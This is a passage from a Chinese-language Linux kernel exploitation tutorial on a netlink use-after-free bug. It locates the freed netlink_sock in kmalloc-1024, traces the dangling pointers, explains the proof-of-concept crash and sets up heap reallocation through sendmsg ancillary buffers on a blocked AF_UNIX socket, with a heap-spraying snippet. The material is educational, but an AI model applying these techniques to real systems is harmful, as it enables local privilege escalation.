正如我们所看到的大量的字段是留空的(null)。这是不是表明netlink_proto没有一个专门的cache?我们无法准确的判定因为slab字段只有在协议注册的时候才定义。我们不会细讲协议注册的内容,但是我们需要了解一些。

在linux中,network模块要么是在开机的时候装载,要么是懒加载的(第一次有一个专门的soclet被使用)。两种情况下,init()函数都会被调用,在netlink的例子中,这个函数被叫做netlink_proto_init()。他至少被调用两次:

  1. 调用proto_register(&netlink_proto, 0)
  2. 调用sock_register(&netlink_family_ops)

proto_register()表明这个协议是否使用一个专门的cache。如果是的,他创造一个专门的kmem_cache,不然他会使用一个通常意义的caches。这个决定alloc_slab的范围(第二点)。实现:

// [net/core/sock.c]

int proto_register(struct proto *prot, int alloc_slab)
{
    if (alloc_slab) {
        prot->slab = kmem_cache_create(prot->name,            // <----- creates a kmem_cache named "prot->name"
                    sk_alloc_size(prot->obj_size), 0,         // <----- uses the "prot->obj_size"
                    SLAB_HWCACHE_ALIGN | proto_slab_flags(prot),
                    NULL);

        if (prot->slab == NULL) {
            printk(KERN_CRIT "%s: Can't create sock SLAB cache!\n",
                   prot->name);
            goto out;
        }

    // ... cut (allocates other things) ...
    }

    // ... cut (register in the proto_list) ...

    return 0;

  // ... cut (error handling) ...
}

这儿是唯一可以协议是否能有专门的cache的地方。因此,netlink_proto_init()在调用proto_register()时alloc_slab是0,netlink协议使用的是一个通用的cache。正如你所猜想的,问题中的通用cache将会决定proto的obj_size字段。我们会在下一节看到的。

3-5 他是在哪里分配的?

到现在为止,我们知道在整一个协议注册的过程中,netlink家族注册了一个struct net_proto_family即是netlink_family_ops。这个结构式相当直接的(创造回调):

struct net_proto_family {
    int     family;
    int     (*create)(struct net *net, struct socket *sock,
                  int protocol, int kern);
    struct module   *owner;
};
static struct net_proto_family netlink_family_ops = {
    .family = PF_NETLINK,
    .create = netlink_create,               // <-----
    .owner  = THIS_MODULE,
};

当netlink_create()被调用之后,一个struct socket就已经被申请了。他的目的是去分配struct netlink_sock,并且将他和socket链接起来和初始化 struct socket和struct netlink_sock字段。这也是他进行套接字类型(RAW原始套接字, DGRAM数据包式套接字)和netlink的协议标识符(NETLINK_USERSOCK, …)安全检查的地方。

static int netlink_create(struct net *net, struct socket *sock, int protocol,
              int kern)
{
    struct module *module = NULL;
    struct mutex *cb_mutex;
    struct netlink_sock *nlk;
    int err = 0;

    sock->state = SS_UNCONNECTED;

    if (sock->type != SOCK_RAW && sock->type != SOCK_DGRAM)
        return -ESOCKTNOSUPPORT;

    if (protocol < 0 || protocol >= MAX_LINKS)
        return -EPROTONOSUPPORT;

  // ... cut (load the module if protocol is not registered yet - lazy loading) ...

    err = __netlink_create(net, sock, cb_mutex, protocol, kern);    // <-----
    if (err < 0)
        goto out_module;

  // ... cut...
}

依次下去,__netlink_create()是struct netlink_sock创建的关键。

      static int __netlink_create(struct net *net, struct socket *sock,
                struct mutex *cb_mutex, int protocol, int kern)
      {
        struct sock *sk;
        struct netlink_sock *nlk;

[0]     sock->ops = &netlink_ops;

[1]     sk = sk_alloc(net, PF_NETLINK, GFP_KERNEL, &netlink_proto);
        if (!sk)
          return -ENOMEM;

[2]     sock_init_data(sock, sk);

        // ... cut (mutex stuff) ...

[3]     init_waitqueue_head(&nlk->wait);

[4]     sk->sk_destruct = netlink_sock_destruct;
        sk->sk_protocol = protocol;
        return 0;
      }

__netlink_create()函数:
[0]设置socket的proto_ops 虚函数表为netlink_ops
[1]用prot->slab和prot->obj_size的信息申请了一个netlink_sock
[2]初始化sock的发送和接收缓冲区,初始化sk_rcvbuf/sk_sndbuf变量,绑定socket和sock。
[3]初始化等待队列
[4]定义一个专门的析构函数在释放struct netlink_sock的时候会被调用。

最后,sk_alloc()实际是调用 sk_prot_alloc() (通过使用 struct proto即netlink_proto)。这儿就是内核使用专门或者通用的cache进行分配的地方。

static struct sock *sk_prot_alloc(struct proto *prot, gfp_t priority,
        int family)
{
    struct sock *sk;
    struct kmem_cache *slab;

    slab = prot->slab;
    if (slab != NULL) {
        sk = kmem_cache_alloc(slab, priority & ~__GFP_ZERO);      // <-----

    // ... cut (zeroing the freshly allocated object) ...
    }
    else
        sk = kmalloc(sk_alloc_size(prot->obj_size), priority);    // <-----

  // ... cut ...

  return sk;
}

在我们看来整个协议绑定的过程中,他没有使用任何slab(slab是空的),所以他将会调用kmalloc()函数(通用cache)。

最后,我么需要整理出一个netlink_create()的调用路径。让人惊奇的是,进入的地方是socket()的syscall,我们不会展开所有路径(这是一个很好的练习)。这儿是结果:

- SYSCALL(socket)
- sock_create
- __sock_create // allocates a "struct socket"
- pf->create    // pf == netlink_family_ops
- netlink_create
- __netlink_create
- sk_alloc
- sk_prot_alloc
- kmalloc

好的,我么知道netlink_sock 是在哪里被分配的和kmem_cache 的类型是通用kmem_cache ,但是我们仍然不知道确切的kmem_cache (kmalloc-32? kmalloc-64?)。

3-6 静态和动态检测对象大小

上一节中,我们知道了netlink_sock对象是被一个通用kmem_cache分配的

kmalloc(sk_alloc_size(prot->obj_size), priority)
\\kmalloc(大小,类型)

sk_alloc_size()在哪:

#define SOCK_EXTENDED_SIZE ALIGN(sizeof(struct sock_extended), sizeof(long))

static inline unsigned int sk_alloc_size(unsigned int prot_sock_size)
{
    return ALIGN(prot_sock_size, sizeof(long)) + SOCK_EXTENDED_SIZE;
}

NOTE:struct sock_extended结构体是用于在不破坏内核的ABI的情况下扩展原本的struct sock。这个不是一定要去了解的,我们只是需要明白他的大小是被预先申请的。

就是说大小是:sizeof(struct netlink_sock) + sizeof(struct sock_extended) + SOME_ALIGNMENT_BYTES.

记住我们不是一定要知道确切的大小。既然我们分配到一个通用的
kmem_cache,我们只需要知道cache的上界即最大值足够容纳我们的对象(见核心概念)。

WARNING-1:在核心概念中提到通用的kmemcaches有2的次方的大小。这不一定是完全准确的。有些操作系统有其他大小像 “kmalloc-96” 和 “kmalloc-192”。这样做的理由是有很多对象是更接近这些大小,而不是2的次方,这么做可以减少内碎片。

WARNING-2:使用“仅调试”的方法是一个好的开始点去大致了解目标对象的大小。无论怎么样,这些大小可能是错的在生产内核上的预处理配置文件不同。他会变化一些字节甚至几百字节。同时,我们应该在我们计算出来的内核和kmem_cache大小边界相近的时候特别关注。举个例子,一个260字节的对象可以在kmalloc-512但是可能被减少到220字节在生产内核上(对于kmalloc-256,那将会很困难)。

ps
standard(production) kernel:生产内核就是指我们正在使用的kernel。
Crash(capture)kernel:捕获内核 ,linux系统崩溃后使用的内核。

用下面的方法5(看下面),我们发现我们的目标大小是kmalloc-1024,这是一个完美的cache去实现UAF,你会在再分配字节看到的。

Method #1 [static]: 手算
这个注意是纯手工去加所有的字段大小(例如long是8字节,int是4字节)。这个方法在小的结构上效果很好,但是在打的结构上很容易出错。必须考虑对齐,填充,打包(减少数据结构中的数据结构)。例如:

struct __wait_queue {
    unsigned int flags;           // offset=0, total_size=4
                                  // offset=4, total_size=8 <---- PADDING HERE TO ALIGN ON 8 BYTES
    void *private;                // offset=8, total_size=16
    wait_queue_func_t func;       // offset=16, total_size=24
    struct list_head task_list;   // offset=24, total_size=40 (sizeof(list_head)==16)
};

这个很简单,但是可以看看struct sock,祝你好运。这个甚至更容易出错,当需要考虑每一个预处理程序配置的宏和控制复杂的union。

Method #2 [static]: 用 ‘pahole’ 工具 (debug only)
pahole是一个很好的工具去实现这个,他自动的做做这个冗长的先置任务。举个例子,把struct socket的结构dump下来:

$ pahole -C socket vmlinuz_dwarf
struct socket {
        socket_state               state;                /*     0     4 */
        short int                  type;                 /*     4     2 */

        /* XXX 2 bytes hole, try to pack */

        long unsigned int          flags;                /*     8     8 */
        struct socket_wq *         wq;                   /*    16     8 */
        struct file *              file;                 /*    24     8 */
        struct sock *              sk;                   /*    32     8 */
        const struct proto_ops  *  ops;                  /*    40     8 */

        /* size: 48, cachelines: 1, members: 7 */
        /* sum members: 46, holes: 1, sum holes: 2 */
        /* last cacheline: 48 bytes */
};

这看起来是一个完美的工具,但是他需要内核有 DWARF标志。然而开发内核是没有这个的。

Method #3 [static]: 用反编译器
好的,你不能确切的得到一个合适的kmalloc()大小是因为他是动态的。无论怎样,你可能需要尽量的去查看这些结构所用偏移地址(特别是最后一个字段)然后手工计算,我们之后会确切的使用。

Method #4 [dynamic]: 用 System Tap 工具 (debug only)
在第一部分我们展示了如何使用Sytem Tap的Guru模式去写一些代码嵌入内核中(LKM)。我们可以重新使用他在这儿,仅仅重新查看sk_alloc_size()函数的过程。注意你不一定能直接调用sk_alloc_size()因为他是内联函数。无论怎么样,你能复制粘贴他的代码然后dump下来。

另一种方法可以在socket()调用期间探测kmalloc()的调用。机会可能翻倍,那么怎么去知道哪个是正确的呢?你可以close()这个你刚刚创建的socket,探测kfree()然后尽力去匹配在kmalloc()中的指针。因为kmalloc的第一个参数是大小,所以你可以找到正确的一个。

作为一种选择,你可以使用来自kmalloc()的print_backtrace()函数。当心,System Tap会抛弃一些信息,如果内容太多的话。

Method #5 [dynamic]: 查看 "/proc/slabinfo"
这个方法看起来和low,但是其实效果很好。如果kmem_cache使用一个专用的cache,那么你直接有这个对象的大小在“objsize”列,只需要知道你的kmem_cache的名字(struct proto)
要不然,就写一个需要分配大量目标对象的程序。例如:

int main(void)
{
  while (1)
  {
    // allocate by chunks of 200 objects
    for (int i = 0; i < 200; ++i)
      _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);
    getchar();
  }
  return 0;
}

NOTE:我们在这儿做的实际上是堆喷射(heap spraying)。
在另一个窗口跑:

watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'

然后运行程序,输入一个键来触发下一个块的划分。在一些时间后,你会看到一个通用cache"active_objs/num_objs"越来越多,这个就是我们的目标kmem_cache

3-7 总结:

好了,收集全部的信息花了很久。无论怎么样,他是必要的,而且让我们更好的了解到了网络协议API。我希望你现在知道为什么
KASAN是让人惊叹的,他做的所有这些工作甚至更多。

让我们来总结一下:
分配器是什么?
SLAB
对象是什么?
struct netlink_sock
他属于哪一个cache?
kmalloc-1024
他是怎么申请的?

  • SYSCALL(socket)
  • sock_create
  • __sock_create // allocates a “struct socket”
  • pf->create // pf == netlink_family_ops
  • netlink_create
  • __netlink_create
  • sk_alloc
  • sk_prot_alloc
  • kmalloc

他是怎么释放的?

  • <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>
  • sock_put
  • sk_free
  • __sk_free
  • sk_prot_free
  • kfree
    这儿还有最后一件事情需要分析,这就是如何(读/写?恶意返回参数?多少大小?)。这些会在下面的章节被讲到。

4.分析UAF(悬空指针)

我们回到bug

在这节中,我们会找到UAF的悬空指针,为什么part2部分的验证代码crash了,为什么我们以及做的“UAF迁移”(不是一个官方的称呼)是对我们有利的。

4-1 寻找悬空指针

现在,内核还没有机会在界面反馈错误就残忍的崩溃了。所以,我们没有任何调用跟踪区了解他是这么进行的。唯一确认的事是我们每次打中他的关键点,他就崩溃了,从前也没有过。当然,这个是有意的。我们实际上已经做了一个UAF转移。来解释以下:

整个exploit初始化时,我们做了:

  • 创造一个netlink socket
  • 对他进行约束
  • 填充他的接收缓冲区
  • 重复两次触发漏洞

这是,我们现在的工作情况:

file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk |
----------+-----------+-----------+-----------+-----------+------------------------+----------------+
3         | 2         | file_ptr  | file_ptr  | file_ptr  | socket_ptr             | sock_ptr       |

注意,这里面的fdt[4]和fdt[5]应该都是dup()出来的
fdt[3]=sock_fd,fdt[4]=unblock_fd,fdt[5]=sock_fd2

注意socket_ptr (struct socket)和sock_ptr(struct netlink_sock)的不同。

我们假设:

fd=3 is "sock_fd"
fd=4 is "unblock_fd"
fd=5 is "sock_fd2"

struct file与我们的netlink socket相关的计数器是3,因为一个是socket()的,两个是dup()的。反过来,sock的计数器是2,因为一个是socket()用,一个是bind()用。

现在,让我们来触发这个漏洞一次,这个sock计数器将会减一,文件计数器也会减一。而且fdt[5]变成null了,注意调用close(5)没有sock计数器减一,使这个漏洞做的。

现在的情况:

file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk |
----------+-----------+-----------+-----------+-----------+------------------------+----------------+
2         | 1         | file_ptr  | file_ptr  | NULL      | socket_ptr             | sock_ptr       |

触发第二次:

file cnt  | sock cnt  | fdt[3]    | fdt[4]    | fdt[5]    | file_ptr->private_data | socket_ptr->sk      |
----------+-----------+-----------+-----------+-----------+------------------------+---------------------+
1         | FREE      | NULL      | file_ptr  | NULL      | socket_ptr             | (DANGLING) sock_ptr |

同样的,这里close(3)没有让sock的计数器减一,是这个漏洞做的。因为这个计数器变成了0,所以才被释放的。

正如我们所看见的,这个struct file仍然或者因为第四个文件指针指向他。并且,这个struct socket现在又一个悬空指针在各个释放的sock对象上。这个减少上面提到的UAF迁移。不像第一个情景,sock变量是一个悬空指针,现在是struct socket结构体中sk指针。换种方式说,我们现在可以通过还活着的unblock_fd来访问socket的悬空指针。

你可能想知道为什么struct socket仍然又一个悬空指针?原因是,当netlink_sock 对象被用__sk_free()释放之后,他做了:
1.调用sock的析构函数
2.调用sk_prot_free()

没有一个实际上更新了socket的结构体。

如果你在利用漏洞的时候在最后按下一个键之前看来命令行界面,你会发现一个信息:

[  141.771253] Freeing alive netlink socket ffff88001ab88000

这个来自sock的析构函数netlink_sock_destruct() (__sk_free()调用的):

static void netlink_sock_destruct(struct sock *sk)
{
    struct netlink_sock *nlk = nlk_sk(sk);

  // ... cut ...

    if (!sock_flag(sk, SOCK_DEAD)) {
        printk(KERN_ERR "Freeing alive netlink socket %p\n", sk); // <-----
        return;
    }

  // ... cut ...
}

好了,我们现在找到了一个悬空指针,你猜猜看怎么样,还有更多。

当我们用netlink_bind()创建目标socket的时候,我们看到计数器被增加了一。那就是为什么我们会可以用netlink_getsockbypid()来引用他。没有太多的细节,netlink_sock指针被存在nl_table的哈希表中(这会在第四部分被讲到)。当销毁一个sock对象,这些指针也变成了悬空指针。

去找到所有的悬空指针又以下两点原因:

  • 我们可以用他们去使用UAF,他们是基础。
  • 我们需要在修复内核的时候修复他们。

让我们据徐去理解为什么内核会crash在退出的时候。

4-2 了解crash:

在上面的文章中我们发现了三个悬空指针:
在struct socket中的sk(sk被释放了,但是struct socket没有被释放,其中的第一个字段指向sk,所以就变成了悬空指针)
两个netlink_sock指针在nl_table的哈希表中(有三个netlink_sock指向一个sk,一个被释放了,其他两个就是悬空指针)

现在是时候去解释为什么poc会crash。

我们输入一个字符的在我们的验证代码时发生了什么?这个exp仅仅是退出了,到那时这个意味着很多。内核需要去释放每一个分配给程序的资源。不然会又大量的内存泄露。

这个退出的过程本身时有一点复杂的。他多半时发生在do_exit()函数。在一些时候,他需要去释放文件相关的指针。他大概做了这些:

  1. 请求调用do_exit()([kernel/exit.c])
  2. 调用exit_files(),这个函数是通过put_files_struct()去释放当前的 struct files_struct 引用。
  3. 因为着是最后的引用,put_files_struct() 调用close_files()。
  4. close_files()循环访问FDT表,为每一个剩余的文件调用filp_close()。
  5. filp_close()调用fputs()在unblock_fd的文件指针上。
  6. 因为他是最后一个引用,所以_fput()启动了。
  7. 最后,_fputs()调用文件操作 file->f_op->release(),实际上就是sock_close()。
  8. sock_close()调用sock->ops->release()(proto_ops: netlink_release())和设置sock->file为null
  9. 在netlink_release()时,有很多UAF操作最后导致crash。

为了保持简单,我们没有把unblock_fd释放,而是让他在程序退出的时候自动释放。在最后,netlink_release()将会被调用。从这里开始,这儿有很多UAF,如果他不crash就太幸运了:

static int netlink_release(struct socket *sock)
{
    struct sock *sk = sock->sk;         // <----- dangling pointer
    struct netlink_sock *nlk;

    if (!sk)                            // <----- not NULL because... dangling pointer
        return 0;

    netlink_remove(sk);                 // <----- UAF
    sock_orphan(sk);                    // <----- UAF
    nlk = nlk_sk(sk);                   // <----- UAF

  // ... cut (more and more UAF) ...
}

哇。。。这儿有很多UAF操作,对不?他事实上太多了:-(。。。问题是,每一个操作都必须如此:
1.做一些有用的事或者什么都不做
2.不会crash(因为bug)或者坏的返回参数

因为这个,netlink_release()不是一个好的选择,对于exp来说(看下一节)。

在进一步之前,让我们确认让程序crash的真正原因通过修改poc和运行他:

int main(void)
{
  // ... cut ...

  printf("[ ] ready to crash?\n");
  PRESS_KEY();

  close(unblock_fd);

  printf("[ ] are we still alive ?\n");
  PRESS_KEY();
}

很好,我们没有看见"[ ] are we still alive?"的信息。我们的直觉是对的,内核crash是因为netlink_release()的UAF们。这也代表其他很重要的事:我们有一个我们想要就可以触发UAF的方法。

现在我们发先了悬空指针,了解为什么内核crash,了解我们可以无论何时的触发UAF,现在是时候去写exp了。

5.利用(重新分配)

“这不是演习”

独立于bug,一个UAF的exp需要一个再分配在一些指针上。为了去做他,一个reallocation gadget 是必要的。

一个reallocation gadget意味着强迫内核在用户空间(一般是通过syscall())使用kmalloc()(内核代码路径)。一个完美的reallocation gadget有以下的特性:

  • 快:在到达kmalloc()之前没有复杂的路径。
  • 数据控制:填充任意数据在kmalloc()分配的空间里。
  • 没有阻塞:这个gadget不会阻塞线程。
  • 灵活的:kmalloc的size参数可控。

不幸的是,极少能发现一个简单的gadget可以做上面的所有的。一个著名的gadget是msgsnd() (System V IPC,系统5进程间通信)。他是快的,他也不阻塞,你达到一些通用的kmem_cache 从64的大小开始。哎,他无法控制前48位的数据(sizeof(struct msg_msg))。我们不将会使用他在这儿,如果你对这个gadget好奇,可以看看sysv_msg_load()。

这节会介绍另一个知名的gadget:ancillary data buffer(也被叫做sendmsg())。然后他将会揭示你exp失败的主要原因和怎么去最小化风险。总结本节,我们将会看到怎么样在用户空间使用再分配。

5-1 再分配简介(SLAB)

为了用类型混淆写UAF的exp,我们需要去申请一个精心安排的对象在老的struct netlink_sock里面。让我们想一想这个对象是在:0xffffffc0aabbcced。我们无法去改变位置。

“如果你不能去找他们,就让他们来找你”

在特定的位置分配对象叫做重定位。往往这个内存地址和你刚刚释放的内存是相同的。(我们例子中的struct netlink_sock)

通过SLAB分配器,这是很简单的。为什么?通过struct array_cache的帮助,SLAB使用LIFO算法。这就表明,最后释放的内存地址 (kmalloc-1024)和第一个重新投入使用的地址是相同的。
这是非常震惊的,因为他和slab无关。如果你尝试使用SLUB重新分配的话,就不会是这样的了。

让我们描述一下 kmalloc-1024的cache:
1.每个kmalloc-1024的对象有1024字节的大小。
2.每个slab是由一个简单的页面组测(4096字节),因此每一个slab里面由4个对象。
3.现在让我们假设这个cache有两个slab。

在释放 struct netlink_sock 对象之前,我们在这个情况:
在这里插入图片描述

注意ac->available是指向下一个未分配的空对象的编号(plus one)。netlink_sock 对象是被释放的。在最快的方法中,释放一个对象等同于:

ac->entry[ac->avail++] = objp;  // "ac->avail" is POST-incremented

他导致了这个情况:
在这里插入图片描述

最后,一个struct sock对象被分配(kmalloc(1024))通过最快路径。

objp = ac->entry[--ac->avail];  // "ac->avail" is PRE-decremented

导致了下面的情况:
在这里插入图片描述
这就是了。 新struct sock的内存地址是和老的struct netlink_sock (0xffffffc0aabbccdd)一样的。我们做了一个重分配。不是很差,对吧?

当然,这个是理想的例子。在实际中,多件事可能出错就像我们接下来做的一样。

5-2 重定位gadget

先前的文章介绍了两个socket缓冲区:发送缓冲区和接收缓冲区。这儿其实有第三个:选择缓冲区(也被叫做辅助数据缓冲区)。在这一节,我们将会看到怎么样用任意数据填充他并且把他作为我们的在分配gadget。

这个gadget是可以被上面所说的sendmsg()的系统调用访问到。函数__sys_sendmsg()是(几乎)直接被SYSCALL_DEFINE3(sendmsg)调用:

      static int __sys_sendmsg(struct socket *sock, struct msghdr __user *msg,
             struct msghdr *msg_sys, unsigned flags,
             struct used_address *used_address)
      {
        struct compat_msghdr __user *msg_compat =
            (struct compat_msghdr __user *)msg;
        struct sockaddr_storage address;
        struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
[0]     unsigned char ctl[sizeof(struct cmsghdr) + 20]
            __attribute__ ((aligned(sizeof(__kernel_size_t))));
        /* 20 is size of ipv6_pktinfo */
        unsigned char *ctl_buf = ctl;
        int err, ctl_len, iov_size, total_len;

        // ... cut (copy msghdr/iovecs + sanity checks) ...

[1]     if (msg_sys->msg_controllen > INT_MAX)
          goto out_freeiov;
[2]     ctl_len = msg_sys->msg_controllen;
        if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
          // ... cut ...
        } else if (ctl_len) {
          if (ctl_len > sizeof(ctl)) {
[3]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
            if (ctl_buf == NULL)
              goto out_freeiov;
          }
          err = -EFAULT;

[4]       if (copy_from_user(ctl_buf, (void __user *)msg_sys->msg_control,
                 ctl_len))
            goto out_freectl;
          msg_sys->msg_control = ctl_buf;
        }

        // ... cut ...

[5]     err = sock_sendmsg(sock, msg_sys, total_len);

        // ... cut ...

      out_freectl:
        if (ctl_buf != ctl)
[6]       sock_kfree_s(sock->sk, ctl_buf, ctl_len);
      out_freeiov:
        if (iov != iovstack)
          sock_kfree_s(sock->sk, iov, iov_size);
      out:
        return err;
      }

他做了:
[0]:申明一个ctl的缓冲区大小是(16+20)字节在栈中
[1]:确保用户空间的msg_controllen是小于等于INT_MAX
[2]:把用户空间的msg_controllen 拷贝到ctl_len
[3]:用kmalloc()分配一个大小为ctl_len内核缓冲区ctf_buf
[4]:把ctl_len大小的msg_control 中的用户数据拷贝到内核缓冲区ctl_buf (在[3]中申请的)
[5]:调用sock_sendmsg(),这个函数会调用一个socket的回调sock->ops->sendmsg()
[6]:释放内核缓冲区ctl_buf

ps:具体的cmsghdr和msghdr可以参考https://blog.csdn.net/wsllq334/article/details/6977039。msghdr 其中的msg_control(指向缓冲区)与msg_controllen(缓冲区大小)字段就是所谓的附属缓冲区成员。附属信息可以包括0,1,或是更多的单独附属数据对象。在每一个对象之前都有一个struct cmsghdr结构。头部之后是填充字节,然后是对象本身。简单的说,就是struct msghdr是整个sendmsg的头,cmsghdr是辅助缓冲区
的头

大量的用户空间数据,对不?对,那就是为什么我们喜欢他。总之,我们可以申请一块内核缓冲区通过

kmalloc():
msg->msg_controllen:任意大小(必须比36字节大,但是小于INT_MAX)
msg->msg_control:任意数据

现在。让我们来看看sock_kmalloc()做了什么:

      void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)
      {
[0]     if ((unsigned)size <= sysctl_optmem_max &&
            atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {
          void *mem;
          /* First do the add, to avoid the race if kmalloc
           * might sleep.
           */
[1]       atomic_add(size, &sk->sk_omem_alloc);
[2]       mem = kmalloc(size, priority);
          if (mem)
[3]         return mem;
          atomic_sub(size, &sk->sk_omem_alloc);
        }
        return NULL;
      }

首先,这个大小的参数是会被再次检查,与内核范围“optmem_max”比较。他能被在procfs文件系统里面检索:

$ cat /proc/sys/net/core/optmem_max

如果这个size是小于sysctl_optmem_max ,那么会将size和当前sock的当前可选择内存缓冲区大小相加并且检查他是否小于sysctl_optmem_max(optmem_max)[0]。我们将会需要区检查这个在exp中。记住,我们的目标kmem_cache是kmalloc-1024。如果这个optmem_max的大小是小于或者等于512字节的,那么我们搞砸了。在例子中,我们应该找到另一个重定向gadget。sk_omem_alloc 已经在sock创造时被初始化为0了。

NOTE:记住kmalloc(512 + 1)就会在kmalloc-1024的cache里了。

如果检查0通过了,那么sk_omem_alloc 会被增加size的大小[1]。然后,这儿时一个kmalloc()的调用,使用的时size参数。如果他成功了,这个指针会被返回[3],否则sk_omem_alloc会减去size然后函数会返回null。

好了,我们可以调用kmalloc()申请几乎任意大小的空间([36,sysctl_optmem_max]),他内容会被任意值填充。虽然有问题。ctl_buf缓冲区会被自动的释放当__sys_sendmsg()退出的时候([6]在之前的函数里)。即,sock_sendmsg()的调用必须被中止。(sock->ops->sendmsg())

5-3 阻止sendmsg()

在过去的文章里,我们知道怎么让一个sendmsg()被中止:填满整个接收缓冲区。这个可能会诱惑我们去做和netlink_sendmsg()一样的事。不幸的是,我们不能重用这个方法。原因是netlink_sendmsg()将会调用netlink_unicast(),netlink_unicast()会调用netlink_getsockbypid()。如此一来,将会让我们在nl_table的哈希表悬空指针被取消(UAF)。

即,我们必须找到另一个socket家族:AF_UNIX。你可以使用另一个,但是这个是很棒,因为他不需要任何特殊权限而且几乎无处不在。

ps:AF_UNIX见:https://www.cnblogs.com/shangerzhong/p/9153737.html

WARNING:我们不将会介绍AF_UNIX的实现(特别是unix_dgram_sendmsg()),那会很长。他不是那么复杂(和AF_NETLINK很相近),我们只需要知道两件事:

  1. 申请任意数据在“选择的”缓冲区(最后一节)
  2. 让unix_dgram_sendmsg()调用中止

像netlink_unicast(),一个sendmsg会被以下条件中止:

  1. 接收缓冲区是满的
  2. 发生socket的timeout值被设置为MAX_SCHEDULE_TIMEOUT

在unix_dgram_sendmsg()(像netlink_unicast()),这个timeo的值是被计算的:

timeo = sock_sndtimeo(sk, msg->msg_flags & MSG_DONTWAIT);

static inline long sock_sndtimeo(const struct sock *sk, int noblock)
{
    return noblock ? 0 : sk->sk_sndtimeo;
}

即,如果我们不设置noblock参数(不使用MSG_DONTWAIT),那么timeout的值是sk_sndtimeo。幸运的是,这个值可以通过setsockopt()控制:

int sock_setsockopt(struct socket *sock, int level, int optname,
            char __user *optval, unsigned int optlen)
{
    struct sock *sk = sock->sk;

  // ... cut ...

    case SO_SNDTIMEO:
        ret = sock_set_timeout(&sk->sk_sndtimeo, optval, optlen);
        break;

  // ... cut ...
}

他调用了sock_set_timeout():

static int sock_set_timeout(long *timeo_p, char __user *optval, int optlen)
{
    struct timeval tv;

    if (optlen < sizeof(tv))
        return -EINVAL;
    if (copy_from_user(&tv, optval, sizeof(tv)))
        return -EFAULT;
    if (tv.tv_usec < 0 || tv.tv_usec >= USEC_PER_SEC)
        return -EDOM;

    if (tv.tv_sec < 0) {
    // ... cut ...
    }

    *timeo_p = MAX_SCHEDULE_TIMEOUT;          // <-----
    if (tv.tv_sec == 0 && tv.tv_usec == 0)    // <-----
        return 0;                             // <-----

  // ... cut ...
}

在最后,如果我们调用setsockopt()通过选择SO_SNDTIMEO,然后给他一个被填充为0的struct timeval 。他将会设置timeout的值为MAX_SCHEDULE_TIMEOUT(无限阻塞)。他不要求任何特殊的权限。

我们的问题解决了。

第二个问题是我们需要处理控制数据缓冲区的代码。他很容易在unix_dgram_sendmsg()被调用。

static int unix_dgram_sendmsg(struct kiocb *kiocb, struct socket *sock,
                  struct msghdr *msg, size_t len)
{
    struct sock_iocb *siocb = kiocb_to_siocb(kiocb);
    struct sock *sk = sock->sk;

  // ... cut (lots of declaration) ...

    if (NULL == siocb->scm)
        siocb->scm = &tmp_scm;
    wait_for_unix_gc();
    err = scm_send(sock, msg, siocb->scm, false);     // <----- here
    if (err < 0)
        return err;

  // ... cut ...
}

我们虽然在上一篇文章绕过了检查,但是这儿依然有一些不同的事情:

static __inline__ int scm_send(struct socket *sock, struct msghdr *msg,
                   struct scm_cookie *scm, bool forcecreds)
{
    memset(scm, 0, sizeof(*scm));
    if (forcecreds)
        scm_set_cred(scm, task_tgid(current), current_cred());
    unix_get_peersec_dgram(sock, scm);
    if (msg->msg_controllen <= 0)         // <----- this is NOT true anymore
        return 0;
    return __scm_send(sock, msg, scm);
}

正如你所看到的,我们使用过msg_control (所以msg_controllen 是被确定了的)。即我们再也不能绕过 __scm_send(),他需要返回0。

让我们从”辅助数据信息对象“的结构看起:

struct cmsghdr {
  __kernel_size_t cmsg_len;   /* data byte count, including hdr */
  int             cmsg_level;   /* originating protocol */
  int             cmsg_type;    /* protocol-specific type */
};

这是一个16字节的数据结构而且必须在我们的msg_control的缓冲区开始位置(有着任意数据填充)。他的使用事实上取决于socket的类型。我们可以把他们看成,在socket做了一些特殊的事情。举个例子,在UNIX的socket,他可以被用来通过socket传输一些资格凭证。

控制消息缓存(msg_control)能维持一个或多个控制信息。每个控制信息是有头部和数据组成。

第一条控制信息头部可以使用CMSG_FIRSTHDR()检索:

#define CMSG_FIRSTHDR(msg)  __CMSG_FIRSTHDR((msg)->msg_control, (msg)->msg_controllen)

#define __CMSG_FIRSTHDR(ctl,len) ((len) >= sizeof(struct cmsghdr) ? \
                  (struct cmsghdr *)(ctl) : \
                  (struct cmsghdr *)NULL)

即,他检查是否在msg_controllen 预计的len是大于16位的。如果不是,意味着控制信息缓冲区甚至没有一个控制信息头。既然这样,他直接返回null。不然,他返回第一个控制信息的开始地址(msg_control)。

为了找到下一个控制信息,必须使用CMG_NXTHDR()去检索下一个控制信息头的开始地址:

#define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg))

static inline struct cmsghdr * cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg)
{
    return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg);
}

static inline struct cmsghdr * __cmsg_nxthdr(void *__ctl, __kernel_size_t __size,
                           struct cmsghdr *__cmsg)
{
    struct cmsghdr * __ptr;

    __ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) +  CMSG_ALIGN(__cmsg->cmsg_len));
    if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)
        return (struct cmsghdr *)0;

    return __ptr;
}

这个不像他看起来一样复杂。他实际上用现在控制信息的头地址cmsg 加上了当前控制信息头部中的cmsg_len字节(如果必要的话会加一写对齐)。如果下一个头部的总计大小超出了当前整个控制消息缓冲区,那么意味着这儿没有更多头部了,他会返回null。否则,将放回下一个头的指针。

当心!cmsg_len 是他的信息和他的头部的长度和。

最后,这是一个完整性检查宏CMSG_OK()去检查当前的控制信息大小(cmsg_len)是不是大于控制信息缓冲区。

